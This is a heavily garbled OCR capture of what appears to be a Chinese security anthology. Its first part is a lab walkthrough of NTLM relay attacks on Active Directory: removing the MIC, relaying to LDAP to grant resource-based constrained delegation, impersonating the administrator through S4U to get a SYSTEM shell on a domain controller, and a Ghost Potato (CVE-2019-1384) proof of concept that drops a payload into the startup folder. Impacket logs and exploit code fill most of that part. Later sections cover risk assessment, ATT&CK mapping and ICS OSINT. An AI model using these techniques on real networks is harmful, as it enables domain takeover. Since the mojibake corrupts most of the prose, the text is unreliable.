M EF|! S-AllowedToActOnBehalfOfOtherldentity B ERINI—5% ace, ] IALE{EIH128 F F~ F1AR
SRAFPFLMZHIZAF (NTLM &i28), 2ATEEERER, BEEN R EEENE, il
B] BA##4T deync,

3. RBIHEEEKER
] Relay ZIH9ARSSIHZ Ldap, BIEIIE( 11571 Ldap FRB 2[R MEER, MAZEHE
H, MR REEEBRE R IRATEN. REWIREFiHNEEERESE. MK CVE-2018-8581,
ARIINZE HTTP Y, BEFTENIRE, RREMEKRZ Smb tHXAER, XUERER(E
FinEAREREEZN, XELEXNRENZOE. AIEAERE, 7£Wagging the Dog: Abusing
Resource-Based Constrained Delegation to Attack Active Directory BEEIFIELIRET, EFEEXE
BERK.

EMTIRATMERSHESHTER, BRAREERE smb X, BIAXTREA ED
NTLMSSP_NEGOTIATE_ALWAYS_SIGN #1 NTLMSSP_NEGOTIATE_SIGN) & 1, BRFBim=IAF AT
BH, BERIBMNMERXBUEERE Flag (UER 0 BIIE, MEAXIZITT —E MIC RiE., M2 TEXT,
EERTHESIEZHN HMAC-MDS RIFFIE =1 NTLM JHEHTEME, MRENT NTLM HEHN

Flag fiI, M MIC 8 H B B MHIRIEIERMN,
» Version 6.3 (Build 9600); NTLM Current Revision 15

MIC: de24265a307bb0e440df3f793c8b83c9

I

C
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Windows ARMMYEES] NTLM 52 NTLM EE#R

BRI —THHHERESFE MICHTRE 0x2 RnizH R B8 MIC), M FE MR, HAMHRA

msvAvFlag

v NTLMv2 Response: d22817d14c6208610c3f40361841¢c25c0101000000000000...

NTProofStr:

d22817d14c6208610c3f40361841c25¢C

Response Version: 1
Hi Response Version: 1
Z: 000000000000

Time: Dec

6, 2019 03:12:05.172631000 UTC

NTLMvZ Client Challenge: d1d72351f44753f1
Z: 00000000

Attribute:
Attribute:
Attribute:
Attribute:
Attribute:
Attribute:

NetBIOS domain name: TEST

NetBIOS computer name: WIN1@

DNS domain name: test.local

DNS computer name: winl@.test.local
DNS tree name: test.local

Timestamp

4q|]vvVVvVYyYVYyyvY

Attribute:

Flags

NTLMV2 Response Item Type: Flags (0x0006)
NTLMV2 Response Item Length: 4

{82 msvAvFlag f targetinfo EH.,

target_info[AvId.MSV_AV_FLAGS] = \

struct.pack("<L", AvFlags.MIC_PROVIDED)

HF7EitE Reponse BIRTR, 1% targetinfo 25 Reponse BIITE , (2 F Response ITEIE ST 7]
Bt ZZE Windows AN EF ) NTLM f& Z NTLM £iti1145)
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@staticmethod
| get_NTLMv2_response(user_name, password, domain_name
server_challenge, client_challenge, timestamp
target_info):

nt_hash = comphash._ntowfv2(user_name, password, domain_name)
t("nt_hash")
t(nt_hash.encode("hex"))
temp = ComputeResponse._get_NTLMv2_temp(timestamp, client_challenge,
target_info)

nt_proof_str = hmac.new(nt_hash
(server_challenge + temp)
=hashlib.md5).digest()
response = nt_proof_str + temp

session_base_key = hmac.new(nt_hash, nt_proof_str
=hashlib.md5).digest ()

response, session_base_key

BE T msvAvFlagfH, targetinfo B{EREZ REARENE, A AR Reponse FEARINAIITR B E R HIH,
NetNTLM ARG T B S MIIER R, X TIHMRRXAEERRBINET .




Windows RIS NTLM &2 NTLM SEaHhA

1@%%@82@‘%5&7, ZRREETREE I UAAZRER SE NTLM MIC BIFEPHLE . Eit

TREEZ O A ETRE T MIC RS,

B Y4233 1% NEGOTIATE_KEY_EXCHANGE #] NEGOTIATE_VERSION i &} 0, #ABGI
MIC T, IM& msvAvFlag HB#¥% 5 Reponse BUIZE, EULEN 0 ZERXAERE mic, BARFE

Reponse 460 HIEH
Negotiate Flags: @xe2898215, Negotiate 56, Negotiate Key Exchange, Negotiate 128, Negotiate Version, Negot
Toseo ones wone enen sose sues ewsas sess = Noegotiate 56: Set
I edes suss ssws sumss sass ssss asss sass = NEgoOtiate Key Exchange: Set ]
wsde snss wsws enas suss snes sess saes = Negoltlate 128: Set
wol wses wses swes sses sses suss sses = Negotiate Bx10000000: Not set
« Bas

Negotiate @x@8000000: Not set

MNegotiate Version: Set
Negotiate @x@100000¢: Not set
........ B R e ek AR AW e Negotiate Target Info: Set

v 2Bas suus suss vass snes assa = Request Non-NT Session: Not set

o -
1]

[ares
1]

FTIAIX—45 , EE4E 4 ) Flag il (TLMSSP_NEGOTIATE_ALWAYS_SIGN,NTLMSSP_NEGOTIATE_SIGN,
NEGOTIATE_KEY_EXCHANGE, NEGOTIATE_VERSION) & 0,

BEE—T 1040 93T

XEE

K& :172.16.99.2

1915 2012:172.16.99.12

194% 2016:172.16.99.16

Impacket v@ 9.21-dev - Copy

[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
e R LR E e syrs | Setting up HTTP Server
2. {ERFTENVLRIRIEEIE EZ I TR 445C0FRIERIIEIZ IR EER) LDAP FREMNARSZS SR AEERE

— i)
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[*] Impacket v@.9.21-dev - Copyright 2019 SecureAuth Corpor
ation

[*] Attempting to trigger authentication via rprn RPC at 17
2.16.99.12

785634123412cdabef@00123456789ab01000000

[*] Bind OK

[*] Got handle

DCERPC Runtime Error: code: @x5 - rpc_s_access_denied

[*]1 Triggered RPC backconnect, this may or may not have wor
ked

3. Relay BlIE#= dc2016 BY Ldap RSZ 28R IMNE T HIRNAIREIK
TR greed, wo g T0 oglgls 0

[*] SMBD-Thread-3: Received connection from 172.16.99.12, attacking target
ldap://172.16.99.16

[*] Authenticating against ldap://172.16.99.16 as TEST\DC2012R2$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large d
omains

[*] SMBD-Thread-5: Received connection from 172.16.99.12, attacking target
ldap://172.16.99.16

[-]1 Authenticating against ldap://172.16.99.16 as \ FAILED

[*] SMBD-Thread-6: Received connection from 172.16.99.12, attacking target
ldap://172.16.99.16

[-] Authenticating against ldap://172.16.99.16 as \ FAILED

[*] Delegation rights modified succesfully!

[*7| WIN7$ can now impersonate users on DC2012R2$ via S4U2Proxy

o Examine attribute
& CN=DC2012R2 OU=Domain Controllers, DC=test DCHocal
H msD5-Allowed ToActOnBehalfOf Otherldentity

Fermissions | Audit | Owner

Tvpe I Hame Scope F E % L C DI & Propagation
WINT

[#] Irherit permizsions from parent objects. Duplicate | | add | | Edit | | Delete |
| |1 Access control entry |

4. & win7$ | dc2012 B9 s4u, 1&iZ-impersonate ZEUEIAF administrator BIZ1IF
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- examples
python get:

A

Impacket v@.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Getting TGT for user

[*] Impersonating administrator

[*] Requesting S4U2self

[*] Requesting S4U2Proxy

[*] Saving ticket in administrator.ccache
- examples
-+ examples
python p

(master) x export

Impacket v@.9.21-dev - Copyright 2019 SecureAuth Corpc

[*]1 Requesting shares on DC2@12R2.test.local.....

[*] Found writable share ADMINS$

[*] Uploading file bIpgRiYm.exe

[*] Opening SVCManager on DC2012R2.test.local.....
[*]1 Creating service xTZV on DC2012R2.test.local.....
[*] Starting service xTZV.....

[!] Press help for extra shell commands

Microsoft Windows [iu#! 6.3.9600]

(c) 2013 Microsoft Corporationicgal(yesLl; yid

C:\Windows\system32>whoami
nt authority\system

5. {£F administrator P N EZREFITIZE,

6. CVE-2019-1384

Ghost potato

XN RASHE T MS08-068 Z 5, FBFANEE relay B A HIRRHE, SR EIER T MS08-068 = /E AR

1 Relay 89,

E A @mEHN BAEIEN\B) #1T SMB IAIERIETE, J& _pszTargetName_ 18BN cifs/B, 7A
*

[ETE type 2 ERIEN B &

Challenge Z /5, 7 Isass E[E4E7F (Challenge,cifs/B),

AEEN BEZZIEN AW type 3 25, & Isass EHBIRBLETF (Challenge,cifs/b),

WRFHEERF, BBAINERM,

XMBERET, MREN B MEN A ZTRNENMIE, BB lsass EEAMASER
(Challenge,cifs/B), JIRZEB—BEMMNIE, B lsass EEBERET, XTREMIIME

KK,
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AMIX T 4ETF (Challenge,cifs/B) @ BRI, X ATEZ 300 7, thEiEi% 300 G, EF
XMHMREMEEN A XN B Z2E—A N, BABHTEEFEELEE
BlR, BBAE Isass BEEBEEXARIETE (Challenge,cifs/B),

(Challenge,cifs/B) FiS#

i R E AR

=
BE,

VICTIM

ISC(..., HTTPimaliory’,...)

VICTIM

LSASS |

| Security Context List | | Challenge Table I
T

| SMB SERVER

NEGOTIATE_ MESSAGE

Create Security Context

()
(o]
A

JHTTP/Mallory'....)

NEGD‘I’IA‘FEﬁMESS)‘JrGE

ATTACKER

A 4

I

I

I

I

I

I

I

I

I
»

I

|

I

I

I

I

I

|

I

1

I

I

I

I

|

I

[

I«

|
|
I
|
|
I
I
AS#(, ,NEGGTIATE?MESS*GE, )

NEGOTIATE_MESSAGE

|
CHALLENGE MESSAdE
f

4§
3 B B,

|
CHALLENGE_MESSAGE
t

CHALLENGE_MESSACE

\ 4

ISC{...,CHALLENGE_MESSAGE....}

AUTHENTICATEMESSAGE, HTTPMallory!

A 4

Add challenge an

\
[
T
I
|
[
|
[
|
|
i SPN 2 tuple

15, SCEET

Loy

(...
(CHALLENGE. "HTTP/mallory’) Il|

v

|
|
|
|
I
|
|
|
AUTP{ENTICATE_M ESSAGE, ’{—lT[F‘PM allo
[
|

ITHENTICATE_MESSAGE, ‘HTTP/Mallory|

A 4

Challenge

| |
ASC(..., AUTHENTICATE_MESSAGE, [HTTP/Mall
| |

Lookup o
;

—

Authentication failure

shenaniganslabs 1 RAFIBpoc, EF impacket HITER, RSTIMAIULEY hetp tXASIER . H
IR KETAB 2S£, EZROMUIBA AR, S sleep 315 W Z[FHRIE type3,
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Windows AR#HYEE>] NTLM 2 NTLM jRiaHRaA

messageTypE 3:
authenticateMessage - ntlm.NTLMAuthChallengeResponse()
authenticateMessage. fromString(token)

3
print(* [GPOTATO] WAITING %s SECONDS FOR CHALLENGE TIMEOUT' % (d1))
time.sleep(dl)
print(' [GPOTATO] FLUSHING CHALLENGE CACHE NOW')

tempSmbConAddress = self.target.netloc.split(':")[0]
tempSmbCon = SMBConnection(tempSmbConAddress, tempSmbConAddress)
tempSmbCon. login( 'MADCOW®', *MADCOW', 'MADCOW')
tempSmbCon.close()
Exceptlon e:
print(‘' [GPOTATO] DONE: %s' % str(e))
print(' [GPOTATO] WAITING ADDITIONAL %s SECONDS®' (d2))
time.sleep(d2)
print(' [GPOTATO] AUTHENTICATING...')

self.do_ntlm_auth(token,authenticateMessage):

authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:

LOG.error("Authenticating against %s://%s as %s\\%s FAILED" &% (
self.target.scheme, self.target.netloc,
authenticateMessage['domain_name'].decode('utf-161le'),
authenticateMessage['user_name'].decode('utf-161e')))

.error("Authenticating against %s://%s as %s\\%s FAILED" (
self.target.scheme, self.target.netloc,

authenticateMessage(['domain_name'].decode('ascii'),
authenticateMessage['user_name'].decode('ascii')))

poc BOIZ1TU0TF,

SEENFMNip 2 172.16.228.134, WEHEE IP 2 172.16.228.1
:\Users\Administrator>ipconfig

indous IP BCE

L\ AFLERC S s
EEYFERIDNS B2 . . . . . . . : localdomain
FHhFERE IPuB imit . . . . . . . : fe80::cdd7:dbcc:frcd:615¢%11
IPuy HEHE . . . . . . . . . . . :172.16.228.134

FRFEEE .. . . . . . . . . . . : 255.255.255.0
A= . . . . . . . . . . . . :172.16.228.2

% 1H iE AC 2% isatap.localdomain:
S e g o REEET

b5 IE S oA R 2:

AR 2B

e
B ER DNS B
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-+ examples p
Impacket v@.

[*] Protocol C1
Protocol C1
Protocol (1
Protocol (1
Pretocol (1
Protocol C1
Protocol Cl
Protocol Cl
Protocol (1
Running in

[*] Setting up

1. 7£ 172.16.228. 1 FRIHOERF 172.16.228.134 B ntlm 53R PEEH poc R3ZH5 hitp) ST

n

@-dev - Co

ient SME 1c
ient SMTP
ient MSSQL
ant HTTPS
ient HTTP
ient IMAPS
ient IMAP
ient LDAP 1
ient LDAPS
relay mode
SMB Serwver
HTTP Serwve

{jhttp:ffghnstf:
G -lm

g

& Ltt

2. 172.16.228.134 @ 172.16.228.1 K http &K (WA ip, EBERIENIXE)
3. 172.16.228. 1 ¥k H 172.16.228.134 HJIEK Relay [B] 172.16.228.134 ZREHY smb, exp HISE
MWRERE 172.16.228.134 BB F HEDN T

+ examples p 1
Impacket v@.9.20-dev - Copyrig 9 SecureAuth Corporation

[*] Protocol Client SMB loaded.
[*] Protocol Client SMTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTPS loaded..
] Protocol Client HTTP loaded. .
Protocol Client IMAPS loaded..
1 Protocol Client IMAP loaded. .
Protocol Client LDAP loaded. .
Protocol Client LDAPS loaded..
] Running in relay mode to single host
Setting up SMB Server
Setting up HTTP Server

Servers started, waiting for connectior
HTTPD: Received connection from 172 28.134, attacking target smb://172.16.228.134
lient requested path: /
ient requested path
Client requested path: /xxx
[GPOTATO] WAITING 315 SECOMDS FOR CHALLENGE TIMEOUT
[GPOTATO] FLUSHING CHALLENGE CACHE NOW
[GPOTATO] DONE: SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is inwalid. This is either due to a bad username or authentic
ation information.)
[GPOTATO] WAITING ADDITIONAL 5 SECONDS
[GPOTATO] AUTHENTICATING...
[*] Authenticating against smb://172.16.228.134 as SRV-DB-BDAY‘\Administrator SUCCEED
[GPOTATO] Dropping RAT to startup folder using User share failed: SMB SessionError: STATUS_BAD_NETWORK_NAMEC{Network Nome Not Found} The
specified share name cannot be found on the remote server.)
[GPOTATO] Uploaded payload to user startup folder via C$ share
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9(_)Q| oo HE, - EHREE ©) - P - Adninistrator - Appllata + Boaming + Microsoft - Windows - TF§] 28 - EFE - B2h

|0~ BATEG v HE - FETHE
- Wk i | = o |

5 TE B exploit. txt 2019/12/3 2:00 TR 0K
=i
= BRI R

A E
& wm

19.4 0x03 5|8

Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory

Ghost Potato

19.4.1 XFREEXIE (360RedTeam) HIRA
RBIWERET 360 AEEELZEHL0, BIVRME “RHMK, SHBE, HAMKAETTFEELRE
FEBMR, EadEN. XRgge, {BHITEEZELR.,

19.42 XFEH
REEIWERR, BFTLANKEERAMR, X windows ad BRAAR, MNHNEIEBBEA—HHRL
.
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20.1

20.2

20.3

- AR E RO E S E R SRS

fE&E: Aaron
SR https://devco.re/blog/2019/10/09/def-strategy/

o
It

XEXERBTASSEE— /XA BT S DEVCORE Conference 2019, 1R ERBING X blog 73
SHE, UETESMNAR A MMNTEREENR B EHERE,
SREARASOIHIEPINARBEANE, EXRSEFHISNEM TARIBIEZS, M
BHEMEIR X, MREWRZ KIZIERBOTZRERE, F7RANSRITEEEIE W IRHAASNE
—HBRAETHE®IH, BEENBEEZIANROEL TFANBRANZRELEBLE, RETK
HIEES, REEBARRENEREN TRITERES BRI M.

EAR R RORAH SRR
&l AAKIELEZRIE R B2 IRERTE, AREIZEELAIEHIIEN (R&E. BIE. RSB BVBANE
IPTREME .. BERDBR—IZHIERRBERNINE, AT, XT™THEE/LITHREERZENER

FriFa e A FEWANEEG: SEIEZEETWAIRENANE R,

MNARIRFIAEIR: XULBMARMEIRRIRE, SEIREZEKEE WA,

BERRFAEEI: SRUZHIERTEMRE, EUMIRBELESEEN, S VPN HMEIR
BRI AEEHT.

RAMEBERTEXMY: REHHZRIRIEEERTAT, MERSHEBENEGE,

X—EENRZ, AJeERAKEEANENERR, MEMBENELTESZEE (Swiss Cheese Model),
E bRV HAEEIE T MG IR (Risk Assessment) SREB R FIBERIERK, FEHENEERET, BRBED
RESNEEEMTAIENITNE .

BEMBIIX N TAEEXES FEERMTEZL, MEMNKEENAEREFEEGFTXTUTES
HERBZ O TR, BISEHN—TINRKEFEA

BT E SEAR ZRATXE LATTAG

MAT MBS 7 = AT BERY IR E

MBEE A E L E XI5

PIRE SR AN E XU IT 88

RSCRI R B L SEAE 20RO ME DA T 88
X4 F 115|348 ITGovernance X T X QIR E X :
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20.4.1

BERE IXBURE RO AR BE e R S R s

Risk Assessment — the process of identifying, analyzing and evaluating risk — is the only way to
ensure that the cyber security controls you choose are appropriate to the risks your organization

faces.

REBITIRRAERETE T /5 + RRARFMERINIETIERR D E) T EWRIEEIGRINE, (B2 569
W RFEAETFERIRE . SR RIHERE, SBXETENRBTETERE MEATXLITEN
588, 15507 RESTRIRBMARNESR

BN = { R, TE. B, SR R, BEKRE. ZFNME. ZHEE )

EUEDSIR (Threat Agent): IERRENAIELERSS RAVSGRME, Blal: BRBILEFE. BREAR. BXR
BYELFE. ZEHNF. BE. AFRTHRKSE.

BB (Intent): EAFREVEAZIRNERY, A0 B TARH . EREWAZE . BARW/ AR
R, ERMIHRERF.

BB (Threat): JAREEIRIAT, Fla0: BEREN. XTI, DDoS. AARAREE.

55/ (Vulnerability): ¥EZEFRERRBFIANSE R, fla: WEREHR. ARRZ. ASRERS.
R X PREC B TR .

HLER (Probability): #6355 RIS AR FIRERERINE, HIa1: CVSS 3.0 &, TENTENSS
REREFRNFITF,

HBMRIE (Correlation): ZEF=RILLIBIAYREX, HIa0: MEEHATh. EMMENXEFE. ERIKRRL. HE
PIZENF,

BIEME (Value): RAIAEIRREFTE C. 1. A REEEGS T, MMEABNNMNE, HlI: mORER
B —RIFEER. ZHRESF,

1EHIFEHE (Countermeasure): FISRFEREEIRXPLAIIENE, B0 BRikE. EEHE. HH
%%,

A, SREWETGEWKRE, JRAGE, WXL TROSEE LMK (B8R, IR, &M
B}, ZRTSHEAEXNSE (BHRR. BE. B, SBNE): FTROMDGFISZEZE
FERRITERNRE, 887 BEMENBERB L BERRBTIRRIREY,

PS5 K BT R T HERY (R 25

BAEBNEREBMNMENANER T ME
B XL AT BORS KR FIREEIRRINEL, HBFAMERRZRIRAMTINFNSE, —ARATIU
DR 3 MRFTFR:
L AR Te@Edm. SR AUX 1. TUR 2) KR EEEBHEWAER KR, 3
HIZFIFERAE XL TREEIPEZNEE, ZHoREZEWRRNICHIFERANER.
2. Rz= TEEEm. AR WUX 3. TUX4) IR EFRERTHEEFEXRTIBRTSHIN
b2, MREBWREDERE, MZRARNE _TFR.
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20.4.2

20.5

BERE IXBURE RO AR BE e R S R s

3. &fa’ MEEEL. BALE) JURS5. TUR 6) KB BERNEWAREILANREE, —RAE
SSEIESELES NG

GUR  #ERW WE ELED BR wE R X
1 RHHEY 3 EEBA BINMERITE 3 3 27
2 RPN & 3 ENEEAINE JoiE £ patch 3 3 27
3 HIKRS 3 U S 1EZ| DDoS Wi 3 2 18
4 RIDRE 3 BARREL  HEPRSHEER 3 1 9
5 MREAEWRE 3 0 KRERNEFR ARk ESA) 2 1 6
6 REEBRE 1 RENE JoiE L patch 1 2 2

KM, WBMAMS, EERKTMLEN, EENSETNRBMNME M5 RZTASHNNERSE
DARRKRER, W ERTUX 6 IASMENRAANRIESIZRZBMAETENNN, JIRKEME—TDE
RIOEBSHEHIREE ™, MXE A LARKIE BB RN TEA RS 52X B EIGEIX

Bﬁ o

(GAEEEFSRIE e ] B:

PP AEERDRITEN, S—TREELHERNGEITHRNATNANE, SRXATELEZ/ITS
BREEWATUNE), EENEIREN, BMAFERFIBAEMNIRKIEZNZE OWASP TOP10, BEZ
BiTHR 0-day, Ett, SEWEBLZXHT-—ERENFERE, MRFAELZHELZTENHRZ IEHR
BN, FEENNNIZASE XERENZE T UARKETR BIBH AN, (BMFHRNE LS H A
RSN E R, HLBRRFEmENHISRN!!

MIBUE RO A B E KR TR
REAMABEENAEENZRBIZE, EXATEA, KEENTRGRNES, hEETER
IR R ~ B~ M~ ~, i1 —HBERE. RAIRIT A, M MITRE ATT&CK fi2— 1% FEA
WHERERIRITAETEBE X MRENELR, ErRUARARMBIEILEREE (Threat Intelligence), 2
ST HNOUN RS SRR ARINES:S, BXOERANBEEEM LAINUKE, A7
BAIARERZBNEE,
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= o e ———
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e P e —
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[re—p— —_— e p—
o == ecnniques
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—] Errey - .
rep— e e e
[reprpey —— —r—
Y e —=
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== == MITRE ATT&CK"

o = —
Ty By e —
Tt ——

— == Enterprise Framework

e attack.mitre.org
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oy b
[rp—
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e
e —
—— —
Te— =
[ [—r—
—— e
prae—_ty
[T

BN EAZRENBELER (Incident) LI PATELRII N E| ATT&CK Enterprise Framework 5,
HEBHMLERIAMEENIZHIERE S AT LURSE . FEESOUNIXLERTT, U TEAG, ZEEeHIREL
BABZRATERAIRIS. A8 A RNEZLSHRERIRIG, BWAIUEIREEN Z N ELEHEELLIA
BHENER, HERENEREERRXIR, BIEEWTAEkRCNIEEIERSNEFERIZIRAZ L,
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BERE AR E R B e R SR I
]ncident x Red Team filters score gradient legend
stages: act 1E—=3 O Red Team
platforms: windows, linux, mac O Incident
O Overlap
Privilege Escalation |Defense Evasion Credential Access
e e febr

Corpin Ater Delierd | T
Corgiod HTWL Fio

Fandig

XNENBERSEEMMTS, ATT&CK Enterprise Framework {EA—130IERS<F iR HIE T
BIER—TIFRIFRIESR, AMAENF AR MERSERISEARTIINEZRIEER, BIoT
FH{ER ATT&CK NEETRERHRE, XAURESBEMNRELETAM ST RN ET NI, EMELI
PAUEZR RIS, BEITAMAAERB AR AT ARIMANEL R, EBAISRING FLANES
Fll\ & B R R E=(E, ZFRERIEHK BB ATRERIE R

Remember any ATT&CK-mapped data has biases: You’re prioritizing known adversary behavior

over the unknown. — Katie Nickels, Threat Intelligence Lead @ The MITRE Corporation

20.6 PHRFESHF AE PR

BEERN T HRBRASERNRE. KI527E, BUWENEHESERERIBNGE? B8 LE, ()
BIGIRTE A, XERBNEWEDNZIIT RS RENINES, KEEENEREWEIRN
ERY, BIZ EAHESTEUWHBEEBNNE. B, EARNRET, AUNMERRENGERLIE
BhiEERES, BeTZIXA UMK TV ERHEITIHE:

B8] PATIX AR R E AT (8],

A MARNHEFETHNAE (BEE%. BF).

Bt RS AR S REESE RARILSZRIELAD .

SEE: FIRANGARERECERS B UREW R,
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20.7

BERE IABURe & AR B e R S e
RIDBATARPLITH . S5, BEMR., BINIE ., ABNEG R B L EHE N ER R
K75%, MR ERANTIBES FPRNOOHN, FEKRRESTYE., BE. KRN EENHRFN
FKF (RFAREWAIRORBRARE) . MENSXFHFFNREER: —MFNAENZES R
BEEEMAERE N IR LRMRARWBARRIONR, K57 EERAERNBARIE,

Hix  EBEXM SEE A EE

RREMH
ZIBATESR
LT
BB
CERREE ]
B2 ITE 1

5
4
2
3

N W W L W
N W W L W

1
1 1

~ O LW A A

XM, BT RREMI, RHETDUREZRRMNENITH LA RSN ZIEEN S E. EEEN
RAEFERRELER, BEFERRBEONGTES, RARKRTEMSERNRITEE— T &ERE
2R, REPTRWFERRROIEEANNR L.

=5

&g, BIIA—TINBEEREGIP A IIZHIERNER, RKNEEWHIXITFESX. B, A
BNBHIRR IR ZE 1S027001:2013 AN EKRRIZHIIE, XL B o] UMUK EENBEREZ
PR ERFIE, BeERMEIENEIIER.

mE &M ANST/HE R

1 RORSGEAKRTE AR 4.3 RTE ISMS SEE

2 BEEEARE AN 42 KFHZHESHE

3 AERSGEFERKSEG MR A43 BITREERRS

4 EEKSEEZBEAN Bk A9.43 BITIREERS

5  AD EXRERE PR A12.6.1 FARAESS 4 EE

6  RERFISRIR IP B A9.4.1 RETFEURF

7 REMUGFHIPARE PR A14.1.1 BNLEERBID T RAE
8 VPN WERZEXAEBARLE B A.13.1.3 MEE XIS
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BERE IABURe & AR B e R S e

I, MEZGRIERAURI TRIVR 1| RBUR 2 W RBRIEL S REBUT AN EZOE TR
B2 L, FEERRINMIZBERARN 2 270 3, XSHTUX 1 WXREBE T EWERAIREN
AIEZNE 27); 55, BEEERGERTEENAEDTUR 2 WAESRAZ VAR UNIIAEE
BRI OB TNRSE, EXREDZRTEVSH#TEENRG, XIEZH]RIE AR R
ERMERIEIRE, FUHEMNSEN, FELABNELRRE EAIBEREROR=HRRIE, BROZANFAT
EZ NI TAE .

GUR  B"ERm hME BB BR wE R X

1 WRAEFHRSE 3 KEENEER  #ERBs) 3 3 27
2 HAEEHRST 1 RARBNE JoiE L patch 3 3 9

/&, 5| Shaolin YR LRILETE
ARNEGRIBREA RS IFRE SRS, ETEEARABARRETMIES—EET.

ARSI R T DS E RGN A, LEWHFEENRE,
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21.1

21.2

ANE R AFR TRNSREE X R EM IR

FE: ABIEL

SR https://mp.weixin.qq.com/s/kRbzI5pSEJqsTYnjdE3kUw

RIRER RO B ITWIRFIRSE ICS) . 1EE Wojciech BEBE T G1falET FHR 1B R X X% BE A & MESC
s, RSBEMR, JUMBRRZRMNERT . BKEREENTISRBAFARMR. FHA
HEEHREEN 2.6 FRIREAM. FRENBITEARIGREIFNT, #EUSS:

FR1EIR (OSINT)

FHRIER (OSINT) B TRAFIZHME, RZEAMBEANAREHIER MERE. RAAFIZNSIE
MR IMRNEE, METAKRENEBMREESHEL B SRRRMAR., XEEBARIERIEE
EEFNARERMEBN., WENHIRAKEEMREFRSE2WMMIL, HRFEARSIEE, S,
OSINT AT HRZIIAEWMIRE R ASEIRITE MANITIR,. EXRREHEBRERAMATLE
BE (HUMINT), IE=S (815 8E (GEOINT) S MLEE BE (CYBINT), 1R¥EER sl B AN 1T 5hE & B AR
%R, MIMEBKRERZER, BE(HENTENER, #MSHKEEIL. BI, OSINT i
TREILEATHERERILTED FITIR, BN FTHERIEKEX TN FNENER, EESSHF
MEHFFIZUMLL, THRTER=. FRMVHRFARENSHE, BRINMZEIREIERXEER
MR BEEZIME . MBHPR, BRFBEELKN LSS IEREHFUZMARSIAME, =
EF1ER (CIA) 32 AATE OSINT F EIFE:
BBEN—-EARRARPHER TRS Web 52, BN THEEHENHARET BN ITIRIRE.
T NPAWIN L L7
BE— ZWREAREARRSULREERRUISHES, AMMREERTERER,
EWN—- ANDEENHEENME, EHRNEEE W CENEENHARER.

T EER—- S tENHVEG R, SENEIEUEFEIRAIEMNIRE ZBFEXE
HRITZ T

MAEARARPER OSINT KA HIREXEFRRENL 2.6 KA ICS IREMIBUEF S
BRARER.

KEEhirE

BMMREREMEZRBEMIZEMPLERAZ. BEMS, WAHLSHNERZSFEESDNE NN
RANERAZEMERZE. EfY. sERIVKFMATIRTWME &R T R BEMIRE. FL, 72

REEXEELZRZERF (DHS) AZFIAY 16 TSN B IRWANAT= D TAK B B Mg XS5 B
N IZSEHE 2 AR 2 12 H FIALED .
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BERE AEFIBFFELRREREXREMIRMEIER

AT EFEEX R, ET0F BN EEG A UMER TIRREEEHIEXRREMIR
i SZBRk, EEARBET (NREFELERERESETANEWTEERRER) MERIEREERR
iR, DHS IZEIAY 16 T RBEMIRMEITIL BE:

ftEfm—-BEtERE. SRR ZES m;

RIRIE—--REAIRAZZANATE. BYH0. B, BRE. HYEE0ERS;

BE— ERHEECXBREMIRGNER, FEELE. WENIDEESR;

BH—--ERRMUEMATVERENASEZEREIR RS . FIA0TREE AT

HEW—-- P RARTWHIESW : MRERE. N, BRIRENCHIRE. HISWAFEREH
REFERMERAVELE;

AIN—--Bp IEHKZ0m, FHRHEEKANIEHIARSS ;

ERS T Ef—- D ARAEF . IRTSERNEFHSFRFEERANXBEMIRME. LI, 18
HERRANTL, WBRAEEBEX—IE. EREM LEEZNHITZ—, BNKEE, MAAEE
A, MENBSTEZT;

N B—--ZAT WA A R E B, BFEPETERRET. AR TRENET SRS . EXR
ERSWMKEER . KO REFO . AR 911 FEIAG;

BEIR—-- NIRRT , RBAREMNRIRMHN, HENXBEMIREDATRERLTERZ
B, EEMBEABBENNLER;

ERE—--RELAT) . FENATIREAR;

RENRL— - -SERBTER. AZ. EONzEHIE, SERE. RENR@GE;

BUTIRME—--ERFAAREANERY, 2T EXRNIREEESRE. ERINE. A
fE1E. S, EXBENETR, AIIhEEHNRANARBURAR. EXRE-—THBEIREDE T,
WEFRNSFHAENML . ARRIPEEIRENRRIS R OIESEEMIRE R EBUHREI T —
TFERD .

ETREMARKDE—-RIPEETL SRR BA/ AN RESERFNES

SERAR—-EEMETRHEESG. RENEERA, ASBEEN T —ERHEEEKM;

MR, MR — B A, RN R NS AZARHE TR ;

IKFNEIK R G —-- TR IR IR A KA R KL IERI N,

(HE

INTS
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BERE AEFIBFFELRREREXREMIRMEIER

FHRTEIRAX R BRI

TE®TARBIRNEMNXREMIRETLZE, BMNIMNES ZERRNETERNXRETER.
EXTEENFMENENNBR/REFEEERNRR, LRRAMMENERENEESR. XBEMIR
FERYTTIRIEHR 2 B IBIRARSS B T E S F I B M B EIRE N AR SERE B ERVIIA &), HERER
TRTESNMEX. LRARDIBIEETERNRBITIWRENE, ESHENTRNEHK
m—--f I ERTRBIREMME, BNEFRALE ICS TERGRFHMEFIE, PIRERERHE
ICS IRFAERTRBRNEBFEZDMND F, tMNBNENRHIBERER. ARARLESARBMESR
ZE, BRABARBEEX—EA, RAMMNESESEEMIRBIOAREMR, ITERRES
ATA—)XBEMIRIERIAEANR, BT BATRBEMIRMESINA R MBI AR, FATFIUM
FRBERERSELEXREMIRERZRYOER, WUETERYIBHERNIEUEER
F, XERNMEMDMELEE ., HRHEAER . SPHERESPREESNESR . ERXEEMIR
BENTRFEIAOR, BMNANZTICEPNIEAR. EHNMERTFERAASAR. BiE
BEMENE, MEaXANEENHESEERMFR. EFIENE, TRBEREEBFANEBCE
AEREENER TEEEEERE. ARMMEFIRENUTRAFE, BAEHMENKRTEZHTT:

IP bt/ EN B —--BF OIS A E BiR O ;

RAR—-BUHBIEMARRE MG ER RN, B0, 20RAE B x0T B ER Niagara Fox,
BALBATVRA BRI R XS I B EFK Codesys 7 mEIFTFI A

i O0—--RENEEARIROFTEAREERE T —TAOR. IS ZIER Apache BRSS
